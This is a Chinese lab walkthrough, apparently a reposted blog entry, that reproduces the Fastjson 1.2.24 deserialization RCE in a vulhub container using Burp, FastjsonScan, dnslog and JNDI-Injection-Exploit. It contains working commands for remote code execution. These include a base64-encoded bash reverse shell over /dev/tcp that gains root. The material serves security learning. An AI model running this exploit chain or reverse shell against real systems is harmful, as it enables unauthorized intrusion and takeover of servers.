fastjson漏洞复现

news2024/11/25 2:02:44

文章目录

  • 启动环境
  • 漏洞复现
    • 下载bp插件
    • 漏洞扫描
    • dnslog测试是否向外请求资源
    • 用工具构造rmi服务器
  • 反弹shell

启动环境

到vulhub目录下

cd vulhub/fastjson/1.2.24-rce

安装环境并启动:

sudo docker-compose up -d && sudo docker-compose up -d

启动成功,如图:

在这里插入图片描述

查看端口发现是8090,打开bp内置浏览器,输入10.9.75.45:8090打开环境:

在这里插入图片描述

漏洞复现

FastJson 是Alibab的一款开源Json 解析库,可用于将Java 对象转换为其Json 表示形式,也可以用于将Json 字符串转换为等效的Java 对象。近几年来FastJson 漏洞层出不穷。RCE 漏洞的源头:17年FastJson 爆出的1.2.24 反序列化漏洞。
关于FasiJson 1.2.24 反序列化漏洞,简单来说,就是FastJson 通过parsebiect/parse 将传入的字符由反广列化为Java 对象时由于没有进行合理检查而导致的。

打开环境后用bp抓包,Ctrl+r发送到repeater模块,右键改为post方法,将content-type字段改为application/json,然后添加一个json格式的数据并提交:

{"name":"EMT","age":24}

上传成功:

在这里插入图片描述

这个过程中:json-> object -> json,进行了序列化和反序列化

下载bp插件

到网站Releases · Maskhe/FastjsonScan (github.com),复制FastjsonScan.jar包的地址:

在这里插入图片描述

在kali中到下面目录:

cd tools/burpsuite/extensions

新建一个目录:

mkdir Fastjosnscan

到新建的目录下,输入命令拉取FastjsonScan.jar包:

proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar

在bp中选择extensions,点击add,添加插件:
在这里插入图片描述

安装插件已完成:

在这里插入图片描述

漏洞扫描

来到repeater模块,将数据包发送到FastjsonScan:

在这里插入图片描述

发送后等待扫描结束后发现漏洞,得到漏洞利用的poc:
在这里插入图片描述

poc中有rmi,它相当于Java的http协议,通过它可以远程执行引用一个外部类。

dnslog测试是否向外请求资源

生成一个URL:

在这里插入图片描述

用lbap测试是否有URL跳转:

在这里插入图片描述

测试成功。有URL跳转,向外部请求资源:

在这里插入图片描述

用工具构造rmi服务器

cd tools

新建一个文件夹JNDI-Injection-Exploit,进入该目录,输入命令下载工具:

sudo wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

下载完成后在该目录下执行命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/EMT" -A "10.9.75.45"

成功构建出服务器,显示出URL:

在这里插入图片描述

用生成的URL到数据包中提交,如果成功就可以在容器的tmp目录下创建一个EMT文件,点击send后报错,返回号500:

在这里插入图片描述

用命令查看容器ID:

sudo docker ps -a

如图:
在这里插入图片描述

登录容器:

sudo docker exec -it 26ad /bin/bash

如图,登录成功:

在这里插入图片描述

查看tmp目录下的文件,写入文件成功:

在这里插入图片描述

反弹shell

用上面的漏洞可以写一个反弹shell命令来获取对方的shell:

反弹shell命令,端口设为1234:

bash -i >& /dev/tcp/10.9.75.45/1234 0>&1

进行base64编码:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjQ1LzEyMzQgMD4mMQ==

将base64编码组成下面命令

bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjQ1LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

同上,用工具构造一个可以发送的url:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjQ1LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.9.75.45"

如图,构造成功:

在这里插入图片描述

监听1234端口:
在这里插入图片描述

复制一条URL到数据包中点击发送:
在这里插入图片描述

反弹shell成功,获取到root权限:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/988454.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

索尼 toio™ 应用创意开发征文|toio™——激发儿童创造力的创意玩具

导语: toio™是一种激发儿童创造力的创意玩具,它以简洁的设计和多功能性能为特点,为孩子们提供了一个探索和发展创意的平台。本文将探讨toio™玩具的创意方向,以及它如何帮助儿童开发创造力和想象力。 toio™——激发儿童创造力的…

苹果电脑好用的剪切板管理工具 Paste激活中文版最新

Paste是一款剪切板工具,可帮助用户更有效地管理和利用剪贴板中的内容。Paste支持Mac和iOS设备,并提供了一系列功能和特点,以提高工作效率和组织性。 以下是Paste的主要特点和功能: 1. 剪贴板历史记录:Paste记录并存储…

性能测试 —— 吞吐量和并发量的关系? 有什么区别?

吞吐量(Throughput)和并发量(Concurrency)是性能测试中常用的两个指标,它们描述了系统处理能力的不同方面。 吞吐量(Throughput) 是指系统在单位时间内能够处理的请求数量或事务数量。它常用于…

电器布线电线电缆外贸出口UL758测试标准

UL 758,第 3 版,2014 年 5 月 2 日- UL 安全电器布线材料标准 这些要求涵盖了电器布线材料 (AWM),形式为单绝缘导体、多导体电缆、光纤、独立绝缘导体和光纤用作多芯电缆组件的构件。 本标准要求所涵盖的器具布线材料仅用作器具和其他设备整…

【设计模式】一、设计模式七大原则

文章目录 设计模式概述设计模式七大原则设计模式的目的设计模式七大原则1. 单一职责原则2. 接口隔离原则3. 依赖倒转(倒置)原则4. 里氏替换原则5. 开闭原则(Open-Closed Principle简称OCP原则)6. 迪米特法则7. 合成复用原则(Composite Reuse …

深入探讨Java Stream流:数据处理的新思维

文章目录 1. 流式思想1.1 输入流与输出流1.2 Stream流 2. 使用Stream流的步骤3. 获取Stream流3.1 容器3.2 数组 4. Stream流中间操作方法4.1 filter(Predicate<? super T> predicate)4.2 limit(long maxSize)4.3 skip(long n)4.4 distinct()4.5 sorted() 和 sorted(Comp…

记录一次IDEA非法字符‘\ufeff‘报错

✅作者简介&#xff1a;大家好&#xff0c;我是Leo&#xff0c;热爱Java后端开发者&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;Leo的博客 &#x1f49e;当前专栏&#xff1a; 报错以及Bug ✨特色专栏&#xff1a; …

Python之作业(二)

Python之作业&#xff08;二&#xff09; 作业 求100以内的奇数和求100以内斐波那契数列 其数值为&#xff1a;1、1、2、3、5、8、13、21、34&#xff0c;从第三位数开始&#xff0c;每个数都是前两个数相加的和。 求斐波那契数列第101项打印如下菱形 ********* ************…

ctfshow-web-红包题 耗子尾汁

0x00 前言 CTF 加解密合集CTF Web合集网络安全知识库 文中工具皆可关注 皓月当空w 公众号 发送关键字 工具 获取 0x01 题目 0x02 Write Up 首先看到又是一道代码审计的题目。有两个参数一个是a一个是b&#xff0c;判断a是否调用限制方法&#xff0c;如果没有则将b当做参数给…

计算机硬件基础与CPU工作原理

应用开发&#xff1a; 使用系统提供的接口&#xff08;API&#xff09;&#xff0c;做上层应用程序的开发 底层开发&#xff1a; 即做操作系统本身的开发&#xff1b; Linux子系统&#xff08;5部分&#xff09;&#xff1a; 1.进程管理&#xff1a;管理进程的创建、调度、…

关于测试的思考-测试驱动开发

一、TDD实践 2、灵活应用活文档 推荐书籍《活文档与代码共同演进》

idea2021.1.3版本双击启动,没反应

今天打开电脑&#xff0c;点开idea&#xff0c;界面悬在这里&#xff0c;几秒然后就是没了。然后就一直打不开idea了。 然后又是卸载重装&#xff0c;又是删除缓存文件。我把电脑关于idea的文件全都删除了 。重新安装后&#xff08;首次运行倒是可以打开&#xff0c;但是关掉id…

波卡生态重要动态一览:w3ndi 推出,首尔、新加坡、里斯本活动接踵而至

Web3 市场冷却&#xff0c;但新的社区合作与推进仍在发生&#xff0c;技术和产品依然不断迭代。OneBlock 为你介绍波卡生态近期值得你关注的动态&#xff0c;以及接下来重要的行业活动。 波卡生态重要进展 1、最新 Referendum#110&#xff0c;提议对验证器配置进行多项修改&a…

如何解决国标GB28181视频平台EasyGBS国标云服务平台设备在线,通道却显示离线的情况

EasyGBS是基于国标GB28181协议的视频平台&#xff0c;可支持视频直播、录像、云存储、检索与回放、云台控制、告警上报、语音对讲等功能。EasyGBS平台功能全面、综合性强、视频能力灵活&#xff0c;能够涵盖所有视频监控领域的需求&#xff0c;已经在大量的项目中落地应用&…

【计算机网络】UDP协议详解

目录 前言 端口号的拓展 端口号范围划分 netstat pidof UDP协议 UDP协议端格式 UDP的特点 面向数据报 UDP的缓冲区 UDP使用注意事项 基于UDP的应用层协议 前言 我们前面讲完了http和https协议&#xff0c;它们都属于应用层&#xff0c;按照TCP/IP五层模…

核心实验14_mux vlan_ENSP

项目场景&#xff1a; 核心实验14_mux vlan_ENSP 相关概念&#xff1a; mux vlan 概述 MUX VLAN提供了一种通过VLAN进行网络资源控制的机制。它既可实现VLAN间用户通信&#xff0c;也可实现VLAN内的用户相互隔离。常见的场景有宾馆酒店&#xff0c;小区宽带接入和企业内部。 他…

【C#项目实战】控制台游戏勇士斗恶龙(1)——游戏初始设置以及开始界面

君兮_的个人主页 即使走的再远&#xff0c;也勿忘启程时的初心 C/C 游戏开发 Hello,米娜桑们&#xff0c;这里是君兮_&#xff0c;最近开始正式的步入学习游戏开发的正轨&#xff0c;想要通过写博客的方式来分享自己学到的知识和经验&#xff0c;这就是开设本专栏的目的。希望…

CPU与GPU的区别与协作

CPU和GPU是如何协同工作的 CPU是Central Processing Unit的缩写&#xff0c;意思是中央处理器&#xff0c;它是计算机的核心部件&#xff0c;负责执行各种程序和指令&#xff0c;处理各种数据和逻辑。CPU通常由控制单元、运算单元、寄存器、缓存等组成&#xff0c;它可以根据不…

FR9855 5.5A同步降压芯片 DC-DC转换器 百盛电子代理商

FR9855 5.5A同步降压芯片 DC-DC转换器 百盛电子代理商 一般说明 FR9855是一种同步降压DC/DC转换器&#xff0c;具有快速恒定时间&#xff08;FCOT&#xff09;模式控制。该装置提供4.5V至18V的输入电压范围和5.5A的连续负载电流能力。工作频率取决于输入和输出电压条件。在轻负…

一文概览NLP句法分析:从理论到PyTorch实战解读

目录 一、引言 二、句法与语法&#xff1a;定义和重要性 什么是句法&#xff1f; 例子 什么是语法&#xff1f; 例子 句法与语法的重要性 句法的重要性 语法的重要性 三、句法理论&#xff1a;历史与分类 生成语法&#xff08;Generative Grammar&#xff09; 背景…